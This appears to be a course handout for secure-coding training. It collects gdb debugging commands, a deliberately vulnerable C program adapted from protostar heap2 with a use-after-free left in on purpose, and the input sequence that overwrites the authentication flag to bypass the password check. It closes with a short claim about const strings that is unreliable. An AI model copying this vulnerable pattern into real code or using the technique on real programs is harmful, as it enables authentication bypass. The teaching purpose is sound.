This article is a collection of textbook c vulnerabilities along with debugging commands and exploit. I prepared the content as source for secure coding and security awareness type courses, so see it as example collection and not as tutorial.
echo 'set disassembly-flavor intel' > ~/.gdbinit
info break | list breakpoint |
del 1 | delete bnreakpoint # |
command # | run a set of commands on breakpoint # |
print # | print variable,.. required debugging symbols (gcc -g) |
x <address> | display memory content |
x/20w <address> | display 20 words (64bit on an x86-64) |
x/20w <address>-# | display 20 words at address-# |
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
// Use after free, adapted from protostar/heap2 https://exploit.education
// - fixed the bug where the auth/malloc was using the wrong size
// - changed strdup to malloc/strcpy to keep it exploitable
#define SERVICE_SIZE 32
struct AuthStruct {
char name[32];
int is_authenticated;
};
struct AuthStruct *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "user ", 5) == 0) {
auth = malloc(sizeof(*auth));
memset(auth, 0, sizeof(*auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = malloc(SERVICE_SIZE);
strcpy(service, line+7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->is_authenticated) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
Compile with symbols and run in gdb:
gcc -g heap2.c -o heap2
gdb ./heap2
r, user test, ctrl-c | run program, get auth allocated, break into gdb |
info proc mapping | show memory layout including heap address |
x/20 |
we don't really need this, using the variable is easier |
print auth | show pointer, not really useful but also show the heap location |
print *auth | print auth structure |
x/40wx auth-1 | the main command to view the correct place on the heap |
Note | "auth-1" is substracting 1 of sizeof(*auth) |
x/40wx (char*)auth-16 | This makes it clearer what is actually being substracted |
disas main | look at source for breakpoint location |
break *(main+56) | break on printf |
command | add command(s) to breakpoint |
x/40wx auth-1 | This is the important information, you could also print auth and/or service |
echo —\n | if printing multiple things, echo can be used to add text and line breaks |
continue | continue execution automatically |
end | end the command statement |
r | restart and start hacking |
The "text book" way to hack the code is: | |
user test | test shows up in heap |
service AAAA | AAAA shows up further down in the heap |
reset | auth is freed |
service AAAA | AAAA shows up in the location previously used by auth |
login | we still need a password |
r | second attempt |
user test, reset | |
service AA[…]A | eventually the position of is_authenticated gets overwritten |
login | and we don't need a password any more |
Bonus point if you can explain what happens to the username string upon calling reset.
const char my_constant_string[] = "Welcome to C";
Will create a constant string pointer, pointing to a changeable string.